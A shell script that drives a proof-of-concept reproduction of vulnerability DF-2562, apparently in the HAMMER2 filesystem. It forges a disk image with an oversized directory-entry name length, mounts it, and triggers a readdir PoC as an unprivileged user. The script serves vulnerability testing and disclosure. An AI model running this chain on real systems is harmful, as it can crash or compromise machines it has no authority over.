DF-2562 / run.sh
#!/bin/sh # run.sh - Full DF-2562 reproduction chain. # Must be run as root (mounts the forged image) but the readdir PoC # is invoked as the unprivileged user maxx. # # Prerequisites: build.sh has been run; /root/h2.img exists (from setup_image.sh). set -e cd "$(dirname "$0")" POCUSER=maxx IMG=/root/h2.img MNT=/mnt/h2test echo "=== Phase 1: Forge the image (inflated DIRENT namlen) ===" ./forge "$IMG" 65535 echo "=== Phase 2: Mount the forged image read-only ===" vnconfig -c vn0 "$IMG" 2>/dev/null || true mount_hammer2 -o ro /dev/vn0@DATA "$MNT" echo "=== Phase 3: chmod the directory for unprivileged read ===" chmod 755 "$MNT" "$MNT/testdir" echo "=== Phase 4: Run readdir PoC as unprivileged user $POCUSER ===" su -m "$POCUSER" -c "/bin/sh -c 'cd $(dirname "$0") && ./poc $MNT/testdir'" || echo "PoC exited rc=$?" echo "=== Phase 5: Cleanup ===" umount "$MNT" 2>/dev/null || true vnconfig -u vn0 2>/dev/null || true echo "RUN_DONE" |